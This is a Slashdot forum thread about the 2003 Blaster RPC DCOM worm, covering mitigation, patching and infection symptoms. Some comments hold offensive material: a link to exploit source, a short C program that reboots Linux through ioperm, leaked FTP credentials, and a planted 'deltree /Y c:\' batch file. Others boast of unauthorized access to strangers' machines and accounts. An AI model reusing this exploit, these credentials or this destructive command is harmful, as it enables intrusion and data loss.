RPC DCOM Worm On The Loose

GPez writes "The first of I'm sure many RPC DCOM worms affecting Windows is on its way, according to the Internet Storm Center. Patch those systems!" According to the site, "The worm uses the RPC DCOM vulnerability [affects Win2k through Server 2003] to propagate. Once it finds a vulnerable system, it will spawn a shell on port 4444 and use it to download the actual worm via tftp."

Comments

Great

[mjmalone]

The security team at my office has been scrambleing to secure all of our systems before such a worm was developed. I hope they are done!

Will blocking port 135 at the router stop this worm? Seems like a simple solution for the short term. I would like to see the source for the worm, does anybody have it?

Re:Great

[Anonymous Coward]

Blocking these ports for ALL inbound connections should be sufficent.

Re:Great

[rylin]

I have a copy! You can fetch from 212.192.128.76:4444 ;)

Re:Great

[Frymaster]

in case the above gets slashdotted, the code is:

An error occured while loading http://212.192.128.76:4444:
Could not connect to host 212.192.128.76 (port 4444)

Re:Great

[dieMSdie]

Sure!

Open all your ports and I'll see what I can do!

Re:Great

[einhverfr]

Will blocking port 135 at the router stop this worm? Seems like a simple solution for the short term. I would like to see the source for the worm, does anybody have it?

It will at least slow it down, one hopes.

Also block 4444 since the worm is centrally propagating and uses that port to transmit itself.

Fortunately the virus is easy to remove. However, I don't know what its security ramifications are.

Re:Great

[Znonymous Coward]

I believe the correct like is 207.44.202.162

Re:Great

[ciroknight]

Yes it will work, I know from experience. My community here in berea has been pretty slammed by this worm, and I've been telling everyone to just firewall off all the ports they dont use. It seems the virus can only connect on ports 135/445 though, so still no worries here. I've been running zonealarm, a great firewall for windows users, to help solve my problem.

Re:Great

[cshark]

Yet another reason to disable terminal services if you don't need it. Isn't this how code red and nimda spread?

Re:Great

[Jellybob]

Well that would be because it's kept on a tftp server.

Re:Great

[Anonymous Coward]

I've been telling everyone to just firewall off all the ports they dont use.

Who leaves open ports they don't use? Are there still people who "close off" specific ports?

Re:Great

[chill]

Who leaves open ports they don't use? Are there still people who "close off" specific ports?

I hope this was sarcasm, because the answer is about 99% of the general public.

Re:Great

[dtr21]

Apparently blocking outbound port 69 (==tftp) will also prevent the worm from being downloaded.

NTBugtraq has the details

Re:Great

[ThatDamnMurphyGuy]

Unless of course, an internal employee with a take-home corporate laptop brings it in to work for you. :-)

Re:Great

[databoing]

Here's the source, don't mind them. DO MIND GOOGLE AND FIND IT YOURSELF NEXT TIME!

http://www.k-otik.com/exploits/07.30.dcom48.c

Re:Great

[Anonymous Coward]

I hope this was sarcasm, because the answer is about 99% of the general public.

Certainly not in businesses though. Even small offices and cable/DSL users should not be affected by this if they're using a simple $30 Linksys NAT device. The default on all these devices is to block anything inbound except replies to stateful connections. The only people affected are clueless businesses that have no firewall and Internet routable IP addresses as well as DSL/cable modem users that only have one computer hooked directly to the bridge. That seems odd though.

Re:Great

[E-Rock]

This has nothing to do with terminal services (port 3389) this is RPC (ports 135, 139, 445). But disabling DCOM will prevent this as well as running the patch.

Re:Great

[SCHecklerX]

Your security team? Shouldn't your windows admins be applying patches, while the security team is busy actually staying up to date on what is in the wild and managing policies, firewalls, vpns, etc?

Re:Great

[PigeonGB]

I use GNU/Linux to solve my problem. B-)

Re:Great

[Sabalon]

no it isn't. Code Red and Nimda spread via a bug in IIS (the web server).

There is no vuln in Terminal Services - well, at least not one that has been found.

Re:Great

[Anonymous Coward]

at least none that has been released ;)

Re:Great

[letxa2000]

Well, it's happening. I know a major university in Mexico has gotten hit. My sister-in-law was noting major instability in her system until she disconnected it from the network (in a moment of brillance, considering she's not a computer wizard) and rebooted. She reported it worked fine without the network connected, but with the network connected all kinds of instability.

A friend of mine in San Antonio--also not a computer wizard--who works from home over a cable modem also was hit early in the day. Her computer was rebooting every 5 minutes or so. She couldn't even stay online long enough to get an IM conversation--she eventually called me on the phone and asked what I thought. I hadn't heard about the virus yet so I told her that her Windows had either gone unstable and she'd probably have to reinstall Windows, or she had been hit by a virus and also might have to reinstall Windows.

Then I read about this. So I don't know exactly who is or isn't affected, nor if there's some other way the worm can get loosed in a local network (I assume the university in Mexico has a firewall!), but it's definitely causing problems for many mortals. :)

I am happily running Linux behind a wirewall, though, so I just get to watch and grin at the hidden message left by the virus writer. "Billy gates why do you let this happen? Stop making money and fix your software." :)

Can businesses afford to deploy Linux with the SCO "threat"? My question is: Cant they afford NOT to? :)

Re:Great

[Bartmoss]

It will work until some idiotic user connetcs his company-owned notebook computer to your network - since it's unpatched, he got infected last night at home.

Re:Great

[bhtooefr]

Shoot, some DSL providers (Sprint, at least) use bridges that have a router built in (never mind that it's hard-coded to only accept one PC, so it only works as a firewall...)

Re:Great

[Binkleyz]

"It's not dumb. It's advaaaaaanced." "I'm gonna sing the Doom Song now!" "Aw, it likes me!"

Love the Zim reference..

Re:Great

[Anonymous Coward]

You can use a tool called User Manager Pro to report on the RUN key in the registry of every machine in your network to find out which machine have already been affected and then remove the work called "windows auto update" with the same tool.

Email me for details: randy@lanicu.com

Re:Great

[Anonymous Coward]

Make that "...and then remove the WORM called "windows auto update"..."

Re:Great

[netgirl]

Yes, blocking port 135/tcp should do the trick. Although I've heard you might also need to block 136-139, 445, 593 too.

My ISP has blocked port 135 and that promptly killed my Outlook MAPI access. No more email!

Fortunately, I had HiPerExchange (www.seasidesw.com) running - so I've still got a synched, offline version of my Exchange mailbox that only needs port 443/SSL to get through!

On the way?

[Anonymous Coward]

It's been hitting efnet for the past week. I've seen plenty of people in lots of channels infected, and it's a pain helping people clean up their systems. This one is a big mess.

Re:On the way?

[Sethb]

If any Windows shops actually get hit hard by this, the Sysadmins need to be reprimanded or fired. My Co-Worker and I manage about 375 PCs at a University which has no firewall, though the NetBIOS ports are blocked at the border router.

You should have had auto-updates turned on for your boxes and/or been using SUS server to push these kind of updates out. We had autoupdates on, and then when the free scanner tool from eeye.com came out last week, we used that to scan the rest of our machines to identify any that didn't get the patch yet (not everyone has bene migrated into our domain yet, and there are some rogue NT 4 boxes around still).

As a result, we had everything reasonbly secure last Monday, and AFAIK there are no vulnerable machines on any of our subnets, according to my scans.

So, uh, what were you other Windows admins doing when you should have been doing your job?

Re:On the way?

[throwaway18]

>It's been hitting efnet for the past week
Uh, I think the lame trojan backdoor.irc.cirebot is a different thing to the worm that this story is about. It used the same hole to install a backdoor but didn't spread on its own.
Some irc networks make your ip address visible to others, I suspect kids were manually launching cirebot at people.

The blaster worm which this story is about dosn't seem to be anywhere near the scale of code red. Yet. I'm seeing a couple of incoming connection attempts an hour to 135 and 445 which is normal.

Re:On the way?

[caluml]

I don't think this is a troll. It's a valid comment. The moderator that modded this troll is probably a Windows admin who's just realised that s/he's been infected.

Re:On the way?

[vivin]

I was hit by this worm - the first sign was that somehow I got logged off on my machine - I'd notice this in the morning or wen I came home from work. Then there was the appearance of a TFTP file in my startup folder that Windows attempted to run, but didn't know what program to use. Just by plain luck I saw a dialog pop up which said "Remote Procedure Call Failed - shutting down in 30 seconds". I remembered reading the article about it and so I went and got the patch. The worm also created an administrative user called "Update".

Re:On the way?

[jafiwam]

While it is true that people should be patched; this worm can still damage stuff on patched servers.

If the server is not firewalled, but it is patched, the msbash.exe worm probing can crash the RPC service. Which then crashes Exchange, Some AD stuff, some windows explorer stuff, and other things (including windows update). It can still bring the DMZ servers to their knees EVEN IF THEY ARE PATCHED.

You are only fully protected if you are both patched AND the 135/445 ports are shut off from the internet. (No naked DMZ stuff.)

I personally patched all the DMZ servers with the hotfix the day it came out, then some other servers with SP4 that included the exploit fix Only the SP4 ones are unaffected.

Note, I am talking about services available, none of the boxes in question actually got infected. The infection attempt caused the problem.

Naked un-firewalled computers are going to get this thing, and get it bad.

It will be interesting to see if that August 16th date pans out to be a dDOS or what...

[Note, auto update is fine for PCs, but is fucking dangerous for production servers. Sometimes the updates do not play nice with whatever is there, if it happens when so-and-so is on vacation there could be real trouble. Do what you gotta do, but I am never going to let MS put anything on my stuff. You'll probably see when someone figures out how to spoof that and gets all 375 of your boxes rooted due to Windows Update.]

Re:On the way?

[itzdandy]

windows auto-update in a university setting? i have to say that is pretty stupid. windows update has a rather serious history of damaging systems and requireing yet another update to fix it. This can leave your entire windows network damaged for many hours if not days while you must go around and manually patch systems up because they can no longer access the web or even shares on the network to get updates. This is fun..........

Re:On the way?

[Loki_1929]

"My Co-Worker and I manage about 375 PCs at a University which has no firewall,"
"the Sysadmins need to be ... fired."

"You should have had auto-updates turned on for your boxes"
"the Sysadmins need to be ... fired."

"We had autoupdates on,"
"the Sysadmins need to be ... fired."

Reasonable boarder security, strict firewall rules, roll-over security, implementing patchs and updates after they've been tested within a "sandbox" or other non-production machine, and constant security/threat analysis - these are the building blocks to a secure and operational infrastructure; not turning on "auto-update" for all your windows boxes. That's absolutely ridiculous. Next time a faulty patch comes down the line, it's going to take down some, most, or even all of your machines. I can remember Microsoft security patches causing anything from network connection problems to out-right system corruption requiring repair/reinstallation of the OS. Be very careful throwing stones at other admins when your own procedures are just plain laughable.

"So, uh, what were you other Windows admins doing when you should have been doing your job?"

Where was I? Reviewing the procedures I have in place to ensure that this type of vulnerablity never touches anything that would be vulnerable to it, and ensuring that all critical systems are buffered in case of internal infection through user stupidity. Where was I? Doing my job, correctly.

Re:On the way?

[darkewolf]

Quite correct that it can bring hosts to their knees although I'd be concerned about having an exchange server directly in the DMZ.

Admittedly we are forced to use Exchange here (woe is me having to keep the thing patched) but its within the Intranet, with a spam filtering 'mail relay' sitting in the DMZ, which then sends email on to the Exchange server..

To each their own I guess.

Re:On the way?

[AlphaSys]

OCG:
Incorrect. Windows Update and Auto Update are shoddy excuses for patch management, especially taken alone. Ordering and chaining of patches is horrendous, and the mechanism that "validates" patch installation is worse. HFNetChkPro is a far superior product, especially when combined with Software Update Services and the aforementioned practice of testing on non-critical servers (or, optionally, reasonable replicas of your operating environment). Any admin on any platform that doesn't rigorously regression-test a patch before deploying, while still not as villainous as the lazy slob who doesn't patch until the worm is spotted, still needs to be ousted from duty and have his home DSL line snipped permanently as well. That goes for Windows, LINUX, BSD, C-64 or whatever else. If it (your platform of choice/force) has the capacity to pollute the environment and there is a fix available but you turn out to be the ultra inertially-challenged and you turn a blind eye until the inevitable happens, you need to either commit suicide for the sake of us all, or, ignoring that, run for President. Hell, you can say you invented patches.
I don't run auto update anywhere on my network, but all my servers and workstations are patched. Snort is detecting the bugger outside the walls, and the din is getting higher. Anyone going to wager if it gets farther than Nimda?

Re:On the way?

[Sethb]

The lack of firewall on our campus is out of my hands, that's above me, at the Network Services level. We're one of the three public universities in the state, and none of them have firewalls. Believe me, we've asked for it, and have been repeatedly told that it's a matter of policy for us to be "open". I'm not saying I agree with that policy, but we have a distributed support model, and I have no control over it. So why should I be fired for that?

As for auto-updates, ideally you're going to want to use SUS, (which I also mentioned in my reply, and you ignored in an attempt to make me look dumb) but the reality is a lot of Universities and small-businesses don't even have a Domain in place for their users, much less something as sophisticated as SUS or SMS. I'd much rather take my chance on some patch causing some minor problems, than have machines sit for YEARS without any patches being applied, as is the case without auto-update. Use SUS for machines in a domain, where you can actually start applying group policy, but if you've got a machine stuck in some dark, damp, grad student office in the basement, that you maybe will see once every 2-3 years, at least try to get Auto-Update turned on.

As for AutoUpdates breaking things, sure, it could happen. But I'd rather suffer a random broken application than be rooted. I'd much rather have machines booted off the network from a borked net driver than being used for a DDoS attack.

Please provide for me an example of Microsoft patch provided in the Critical Updates section of Windows Update that has rendered 100% of systems inoperable or required a reinstalltion of the OS at any time in the last 18 months.

And, I was referring to the Sysadmins who hadn't done ANYTHING, and there are several. I asked my wife if they'd done anything at the Ad Agency she works at. They haven't. There are a large number of posts on Slashdot from people running Windows who didn't even know that the vulnerability existed before today. Those are the people I take issue with, people who said "Oh, the firewall will protect us" or "Oh, I'll run WindowsUpdate the next time I happen to be at one of those machines" or "I don't feel like installing those patches that the system tray is telling me to install right now".

Re:On the way?

[Sethb]

You want to know what a real University setting is like? I've worked at 2 of the 3 state Universities here, and generally it's a mishmash of 20% Win95, 40% Win98, 20% Win2000, and 20% Windows XP machines, none of which authenticate to a domain, administered by someone who started working there as a student, but was kept on after graduation because they were cheap labor.

Patches? Well the user should take care of that, right? After all, they've got Internet Explorer, they can surely remember to visit WindowsUpdate and get patches on their own.

Oh, AntiVirus definitions? Well, our software doesn't update those automatically, you've got to click the icon and push update every month or so, but the users can do that.

None of the above is hyperbole, and were actually the standard practices as recently as 18 months ago.

Heck, doing testing? That'd require a SECOND computer for each technician! That'd cost money! We can't afford to but TWO computers for one person, we're already splurging on 1 IT person per 500 computers! Oh, and we gave you 1 student who's slightly above minimum wage too. What more do you want?

Re:On the way?

[Anonymous Coward]

I do as my IT manager instructs me, Since I am a tech My Projects and time are decided for me.

After a Risk/benift evaluation is done then I will work on the project, but currently main production servers staying up and online is my main goal.

Patches and Other things are fluff I need to make sure Production data, billings, shipping info gets to where it needs to be or I have a whole plant of people without jobs.

Re:On the way?

[Anonymous Coward]

...having to reinstall the OS because an MS autoupdate messed things up so bad on 375 computers is a "minor" problem?

Yes, my laptop was infected. Symptom was, "RPC service is fucked. Shutting down now." (XP Home), for the last day or two while dialed up.

What to do? Thanks to this article, tried the stuff.

Turn in Internet Firewall (or whatever it is). OK, that keeps the RPC calls from coming in when I'm dialed up trying to download the patch, and subsequently rebooting the machine, so now I can actually download the patches!

Luckily, AVG detected the msblast.exe file, as well as another one (documents and settings\all users\documents\open_me.exe). So those are gone.

Deleted the registry entry for msblast.exe. Checked my windows\run keys to make sure they're legit. OK, they are (deleted the one to start msblast.exe).

And to think I was thinking about hooking my laptop to my home network tonite...

But, no, I will not rebuild the computer, and will not turn on AutoUpdate.

Even though it is one computer, I have better things to do (like post this to SlashDot, sic) than rebuild a f'ing computer from scratch. That is the most lame-ass Microsoft software fix that, with $40 billion US in the bank, they still cannot/will not figure out how to not have to do this for mundane fixes...

Re:On the way?

[Anonymous Coward]

Unfortunately, once you get into the corporate world you'll find out that common sense isn't applied as often as it should be.

We've had to deal with engineers who disable antivirus products as a rule, and who refuse to allow patches because "it might break something".

The only time we can force a patch is AFTER they've been infected, scanned the network and their network port disabled. Not fun.

Re:On the way?

[Thundersnatch]

The overwhelming majority of machines infected by this worm will be home machines or unamanged machines on university networks. Very few corporate machines will be victimized in my opinion. Unless, of course, corporations with lax remote access policies allow connections behind their firewalls from employee home machines.

Anyway, I think an indictment of Windows sysadmins is quite premature. The fact that the worm hasn't ground the net to a halt already is indicitave of a decent level of firewalling and patching.

Re:On the way?

[daemonc]

You just described my job at the University to the letter. (I am that barely minimum wage cheap labor student employee.) I think I'm going to go cry now...

Re:On the way?

[CorporateIdiot]

Our shop got hit very hard and the suits are going nuts! Serves them right for not listening to the techs and not providing full time resources to apply patches etc. must save money and make the cuts you know!

Linux

[Anonymous Coward]

If you have Linux, then just ignore this article.

Port 4444

[John Hurliman]

Is it opening a shell on port 4444 or a tftp server?

Re:Port 4444

[venom600]

Both. It is opening a shell on port 4444 and contacting a tftp server (using the shell) to download a file which is the worm code itself.

Re:Port 4444

[Anonymous Coward]

Shell is on 4444. TFTP is on standard port. Random scanner? SHA-1 of packed worm is BED8E439F28A1A0D3876366CBD76A43CDCCF60FA. It'll lookup windowsupdate.com and flood on the 16th. Filename is msblast.exe, length 6176 bytes. Partial string "to say LOVE YOU SAN!!" appears even in the packed version (UPX 1.22). More detailed stuff to follow...

Re:Port 4444

[throwaway18]

Is port 4444 a cmd.exe shell or what? A machine on the same ISP as me has been trying to connect to 445 on my box for three days.
Guess what 4444 is open. I'd like to leave a message on the desktop
(yes this is probably illegal, no there is no chance of me being prosecuted for it.) Tried typing a few commands and got no response.

A shell bound to a port is often difficult to use because you get the output of stdout but not stderr so for example a directory list shows up
but an incorrect command returns nothing.

Re:Port 4444

[sageres]

KK, here are few observations: Uncompressed program is 11,296 bytes. Using WSA-based socket libraries for socket manipulation. As mentioned above downloads its copies via TFTP and using windowsupdate.com, creates reg entry at HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr ent Version\Run, the full string in the application is located at 0000:1A3B-0000:1ABE and as follows, "msblast.exe. I just want to say LOVE YOU SAN!!.billy gates why do you make this possible ? Stop making money and fix your software!!"

I have already patched my entire network.

[Znonymous Coward]

It's called a firewall. It's proteced me from Nimda, Code Red, etc.

Re:I have already patched my entire network.

[Anonymous Coward]

until one of your users hits the web version of Nimda, or opens a nicely wormed email...

Firewalls provide little to no security from worms, and absolutely no security for internal attackers [80% of all intrusions].

Re:I have already patched my entire network.

[Anonymous Coward]

It's called Linux. It's protected me from Nimda, Code Red, etc...

Re:I have already patched my entire network.

[Sorthum]

The problem with firewalls is that they tend to be vulnerable to users and their accompanying stupidity.
You need to strike a balance between "locking things up so tightly no one can move" and "giving the users a free hand to do whatever they'd like." Where that balance lies is up to you (hopefully) or management at your company (probably).

Re:I have already patched my entire network.

[Anonymous Coward]

Your fire wall is all very well unitl someone inside your network dials up on a modem or connects an infected laptop. Then you're screwed.

Re:I have already patched my entire network.

[Anonymous Coward]

I'm afraid you have a false sense of security. A firewall is only part of the solution.

A complete solution includes patching your systems and deploying IDS systems. Still, this is only part of a complete security solution.

Re:I have already patched my entire network.

[Eberlin]

I actually knew some retard who thought installing a firewall would save him from Code Red...of course the idiot lets in traffic through port 80 (Outlook Web Access on an Exchange Server among other things).

The firewall is only as good as the person managing it. If you've got a soft-and-chewy center, that hard-and-crunchy shell will only hold out for so long.

The retard in question covered up by the equivalent of waving a package of Mentos -- and all was mysteriously "forgiven." A public flogging would have been more appropriate. Ah, corporate politics.

Re:I have already patched my entire network.

[bigjocker]

I used this patch instead in my whole network.

Re:I have already patched my entire network.

[TheGreenLantern]

While I'm sure this is technically true, some of us are responsible for networks that are slightly more complicated than an XBox, an HP Pavilion downloading porn and bootlegs 24-7, and an old P2 running Suse in our parents basement.

Re:I have already patched my entire network.

[Elwood P Dowd]

Firewalls are great. Virus scanning on email is important too. That still hasn't stopped our users from going to their personal webmail, downloading an attachment, unzipping it, running it, clicking "yes" to install it, and hitting 14 other machines with wormy goodness.

Sure, we never got Code Red. Morons are just as effective.

Re:I have already patched my entire network.

[Zathrus]

One of my coworkers thought that as well.

He was monkeying around on his RH8 box, was having network issues and setup the box as DMZ on the firewall. Later he rebooted to Win2k (on the same system, setup for the same IP). His entire network got hit with Slammer because of this. It took him the better part of a week to fix all of his boxes afterwards.

As others have said, a firewall is only part of the solution. Shutting down non-essential services/daemons, keeping up to date on patches, and in general knowing what the hell you're doing are other parts of the solution.

Re:I have already patched my entire network.

[Znonymous Coward]

The main problem is if someone gets a worm via email or the web.

Our users are pretty good about avoiding questionable attachemnts (+1 phone call for each). It also helpes to auto update DAT files daily.

I would like to be able to auto update Windows daily as well, but it just dosen't work as well as it needs to (+2 phone calls). M$ could learn a thing or two from swupdate (Mac) and up2date (RedHat).

Re:I have already patched my entire network.

[bballad]

I would not want to be on your network when one of these worms is writen to pass in on port 53, or one ofthe other ports you have open by default.

Re:I have already patched my entire network.

[snake_dad]

True.. Big corporate lans are especially vulnerable to this kind of worm/virus. Especially if they put all their faith in the firewall as so often happens, and forget about the consultant that plugs his laptop into the phoneline at home.

Re:I have already patched my entire network.

[Znonymous Coward]

A public flogging would have been more appropriate

I like how my Unix/Linux systems never get hit, and our Exchange server is always getting hammered by various mass-mailers. Why don't those Exchange admins get their asses handed to them more often.

Re:I have already patched my entire network.

[MoosePirate]

We block all outside traffic on bad ports here, but that doesn't help. Once the worm gets inside, firewalls don't do anything unless they are on the individual computer. And EVERY individual computer. All it takes is one weak link(outside the firewall, user opens an email, anything) and the firewall method is useless.

Re:I have already patched my entire network.

[flatface]

Even better, a Linux server on a firewall. Running Gentoo Linux. My box is tighter than a nervous virgin on prom night. Erm.. ^.^;;

Re:I have already patched my entire network.

[einhverfr]

Security is a process, not a product.

Firewalls are one piece of the process, but not the whole thing.

Nimda was expecially nasty because it could get arround firewalls by appending itself to otherwise legit web pages....

I use a firewall, but I don't depend solely on it.

But maybe you are modded funny for a reason and deserve credit for your joke ;-)

Re:I have already patched my entire network.

[Znonymous Coward]

The only way our "big corporate LAN" gets all it's viri in the form of an email.

The funny thing is when the worms start spreading, they rush to my office to ethereal and nmap their thumbs out of their asses.

Re:I have already patched my entire network.

[caluml]

You got the grsec patches compiled in, and a nice tight set of ACLs? Now **that** would be tight. Kind of like ssh root@selinux.dev.gentoo.org (password gentoo). You've got to be confident to let people log in to your box as root.

Re:I have already patched my entire network.

[Znonymous Coward]

Wehn I say "firewall", I'm not talking about Balck Ice defender.

Stateful firewalls don't need to have _any_ ports open.

Re:I have already patched my entire network.

[Anonymous Coward]

The firewall is only as good as the person managing it. If you've got a soft-and-chewy center, that hard-and-crunchy shell will only hold out for so long.

The retard in question covered up by the equivalent of waving a package of Mentos

Why do I get the feeling that somebody wants a snack?

Re:I have already patched my entire network.

[advocate_one]

so you never set your system policies to prevent the downloading of certain file types then??? More fool you.

Re:I have already patched my entire network.

[RocketScientist]

It's all about the laptops dude.

One of your co-workers takes home his laptop, snaps it into his DSL to do some "Work from Home" (aka one-handed surfing) and picks up the virus. Brings the machine to work the next day, and you're instantly infected office-wide.

Patch everything. Firewalls will only provide you protection until tomorrow morning at the latest, when porn-boy brings his laptop in.

Re:I have already patched my entire network.

[Eberlin]

I have a theory about that -- maybe unix admins are built around the concept of getting the job done while MS admins are built around the concept of diplomacy for when things blow up.

I've seen MS-based sysadmins click through warnings and error messages like it's all acceptable. Then when things go boom, they come up with something like "the system is down for routine maintenance." And management takes it at face value because the servers go down more times than (insert crude comment here)...well, you get the picture.

There are plumbers and there are diplomats. I wouldn't be surprised if MCSE's have to pass a test on spin-doctoring.

Re:I have already patched my entire network.

[Anonymous Cow herd]

It's called a firewall. It's proteced me from Nimda, Code Red, etc.

Yes yes, I was once a smarmy know-it-all just like you, smugly thumbing my nose as the poor suckers who didn't know about complex technology like "firewalls" and whatnot to protect themselves from evil worms. Then my computer-illiterate (now ex-) girlfriend downloaded an attachment from her hotmail account and ran it manually... and that was the end of that.

Re:I have already patched my entire network.

[Elwood P Dowd]

So they should disallow the downloading of ZIP files?

(BTW, I'm not a sysadmin. I just work here.)

Re:I have already patched my entire network.

[marshac]

Why was the parent modded funny? A firewall is a perfectly usable, and valuable asset in terms of network security.
It's true (and stupid) to think that this wall will never be breached, but it's a good first line of defence. At best, it will fend off an attack, probably it will buy you time, at worse, it doesn't help you at all.
So if this 'funny' device buys you even a few hours, isn't it worth it? I know I have one, and I just went over the PIX config to make sure that those ports were indeed blocked while we weather the storm (and yes, my servers ARE patched).

Re:I have already patched my entire network.

[flatface]

Actually, I've gone into there before.. The user IS root, but the permissions in selinux are completely changed. Selinux root isn't the same as normal root.

I actually rebooted the selinux machine using an ioperm exploit. If you want to know what I did, here's the source:

#include <sys/io.h>
int main() {
ioperm(1023,1,0);
outb(0xfe,0x64);
}

Compile, execute, rebooted. It works on Linux kernel 2.4.20 and lower under unpriveleged users. You don't need selinux to have a secure box.

Re:I have already patched my entire network.

[caluml]

Selinux root isn't the same as normal root.

Oh, I know that, and you know that, but it's funny to watch people trying to install root-kits, or add new users. You want to shake them, and ask them - what are you doing - you're root already.. :)
But once they realise they can't install their IRC bots or floodping people, they get bored.
Oh, and why do people try and ftp to their own servers from that box?
grep \@ .bash_history | grep \: | grep ftp
Doh.

Re:I have already patched my entire network.

[SCHecklerX]

Yup, that firewall is going to do all kinds of good when a sales droid connects their (company owned) laptop to your private network after having had it connected to the raw Internet via dialup or broadband, or after they received mail from their personal ISP and, of course, ran every attachment under the sun.

Firewall != security.

Re:I have already patched my entire network.

[Anonymous Coward]

that's priceless:

ftp://romanux:kFGOHVn0VA@ftp.3x.ro
ftp ftp://romanux:kFGOHVn0VA@ftp.3x.ro
ftp ftp://CinderVII:CENSORED@213.158.72.39
ftp://skan ere:1357@ftp.go.ro/pst
ftp://luser:a@s.com@ host.com
ftp://hacksele:hpe2t@66.48.76.90/www/sel ena.tgz
ftp://off3nc3:ghostman@ftp.polarhome.com/ ussl.tar. gz
ftp://themafid:a321321@ftp.members.lycos.co.uk /sc_ trans_posix_040.tar
ftp://agr3ssor:neutrino@ftp.h ome.ro/bombo.tar.gz
ftp://albinales:klavdija@ftp. volja.net/bnc.tar
ftp://sarmer:poljub24@217.72.64 .92/vcfix.tgz
ftp://johnyro:brucelee777@212.78.20 4.231/birda.tgz
ftp://apriliars@194.177.126.2/shell/psybnc/psyBN C2 .3.1-8xLINUX.tar.gz

i bet they use the same passwords for ssh

Re:I have already patched my entire network.

[commodoresloat]

You misspelled the URL.

*ducks*

Re:I have already patched my entire network.

[Anonymous Coward]

I enjoy my job and it's Linux free!

Re:I have already patched my entire network.

[GrenDel Fuego]

Hm. Speaking of X-Boxes, they run a variant of the Win2k kernel. Are they vulnerable to this?

Re:I have already patched my entire network.

[Anonymous Coward]

Faggot linux zealot. Eat shit.

Re:I have already patched my entire network.

[silas_moeckel]

OK I'll bite.

Firewalls are only part of being safe on a network They provide conditional access and generaly stop external threats. Realy this is a filter to only let what you want though at a services level and sometimes do more by filtering at the application level. Often this is the pace where you can do first responce to a new threat in a reactive situation.

IDS's these realy act as a monitering application there use is generaly better for internal to internal protection and outgoing if your not proxied. If anything hits the internal IDS it should send up a big red flag and get looked at.

Patches and running services are generaly a second step when reacting to a new threat.

Now granded I think everybody has had default.ida triggering a reset and shun for awhile now at the firwall and IDA level at least.

Re:I have already patched my entire network.

[Anonymous Coward]

HAHAHAHAH!!!!!

I've already changed the passwords on 5 of them, and left a IDIOT.TXT with a link to the parent posting. :)

Re:I have already patched my entire network.

[Anonymous Coward]

You need a new Exchange admin. I run Exchange at a 4000 user insurance company, and have had no virus related downtime in over 18 months. Set policys and build solutions to enforce them. Not a big deal....

Re:I have already patched my entire network.

[Anonymous Coward]

Yes indeed, we are very busy. Busy posting to Slashdot.

Re:I have already patched my entire network.

[Anonymous Coward]

You're nicer than me,

Last time I ran into a box with an read/write windows share without a password on the C:\ drive, i put a file called runme.bat on c:\

Well this nice batch file's contents:
@deltree /Y c:\

I always wonder if they ran it...

Re:I have already patched my entire network.

[dieScheisse]

And stupid me, not running a personal firewall on my laptop (doh!), got hit this way. Here I am working away and my box reboots itself and then i see all sort crap going out to port 135...immediately pulled the connection. easy enough to clean, but still. i block everything at the router on my home network, but since i was vpn'd in to work...completely bypassed the firewall on the router. home boxes are clean as a whistle. running zone alarm now. seems to work.

Re:I have already patched my entire network.

[UnknowingFool]

For the most part, my systems are patched. But even if they were not, my firewall is blocking those ports. And as a third layer of defense, I have an inefficient ISP that went down due to the heavy traffic so I lost connection for 12 hours during the peak of the problem. Thank goodnes for ineffieciency!

Re:I have already patched my entire network.

[AlphaSys]

That's just it... it's not technically true. Even if firewalled, the machines are still vulnerable to the right vector if they are not patched or improperly patched and they continue to broadcast the crap and screw up the network for those of us with a clean bill of health.

Re:I have already patched my entire network.

[Anonymous Coward]

How would a firewall protect you from Nimda unless you totally blocked access to TCP 80? What's the use of running a webserver if you're just going to block it at the firewall?

Are you one of those Windows server admins?

-Fred

Re:I have already patched my entire network.

[TedCheshireAcad]

So did you.

Re:I have already patched my entire network.

[EvilTwinSkippy]

Hey, half my staff check their email with Yahoo, MSN, and/or AOL in addition to their staff account. How, pray tell, can I defend against THAT too?

Re:I have already patched my entire network.

[advocate_one]

yes... if it's necessary for work then they can get it downloaded via a "Gateway" machine that is set up to do this and is strictly controlled and airgapped...

Can you afford all the time wasted trying to firefight virus and trojan infections??? Can your business stay running if you take a major hit and your servers go down big time???

Lock those machines down so tight that nothing can be downloaded or executed online... have a very strict white list of permitted sites... and let me tell you now... Developers in general and "graphic artists" on Macs are the worst. They think they know what's what and they are really dangerous because of it. Keep them at arms length from the real corporate network on their own separate nets with good firewalls between if necessary... treat their networks as "red zones", don't trust them at all... They'll always be trying to sneak on dialup modems just to do this cos it's so much hassle going through "the man"...

Re:I have already patched my entire network.

[Anonymous Coward]

Good sir, I'm afraid you mistyped it as well.

Re:I have already patched my entire network.

[Anonymous Coward]

rm ~/.bash_history
ln -s /dev/null ~/.bash_history

Dah!

Re:I have already patched my entire network.

[Anonymous Coward]

There is no complete security spoon.

Re:I have already patched my entire network.

[Anonymous Coward]

>grep \@ .bash_history | grep \: | grep ftp

Ouch!

DUDE, the fact that UNIX has excellent pipes -- and you have CPU -- is no excuse for not knowing regular expressions and/or awk. Unless one of your greps is the occasional '-v' grep, you should know you're doing something wrong...

Re:I have already patched my entire network.

[Giggle Stick]

"Even if you do learn to speak correct English, whom are you going to speak it to? -- Clarence Darrow"

Shouldn't that be "..., to whom are you going to speak it?". That wasn't the point, whas it?

Re:I have already patched my entire network.

[Anonymous Coward]

Here is the correct URL

Re:I have already patched my entire network.

[LiquidCoooled]

Heres one that doesnt even need installing!

Re:I have already patched my entire network.

[LiquidCoooled]

Simple, modify your hosts file, or alter your gateways routing table
...
0.0.0.0 www.hotmail.com
0.0.0.0 uk.f807.mail.yahoo.com
...
and any others you wanna remove....

Re:I have already patched my entire network.

[LiquidCoooled]

A Firewall on an individual machine is one thing, and will actually do as you say, and protect from an onslaught of problems.
However, when a firewall is used in a large organisation on the gateway machine, the entire LAN is left vulnerable to infections from within (kinda like farting in a car with the windows closed!)

Re:I have already patched my entire network.

[Znonymous Coward]

Geatest 1up ever!

Im safe in windows 98 but preffer linux

[urbieta]

no need to reboot any time soon for that old windows 98 part since Im a linux junkie by now hehehe

Balmer

[Anonymous Coward]

Developers developers developers..

erm...

security security security... erm ...

um...

somebody get me more cocain!

Re:Balmer

[azzy]

I think you need some e with that cocain

Re:Balmer

[Anonymous Coward]

i would mod you up, but i rarely get mod points. kudos to non-techie references for once on slashdot.

Re:Balmer

[caluml]

Could be cos you are logged in as an AC? I use the bookmark-and-login link, and I get mod points quite often.

users being hit hard

[towaz]

the call centre here is off the scale with people ringing in with rpc problems...
all xp users though

Re:users being hit hard

[Sorthum]

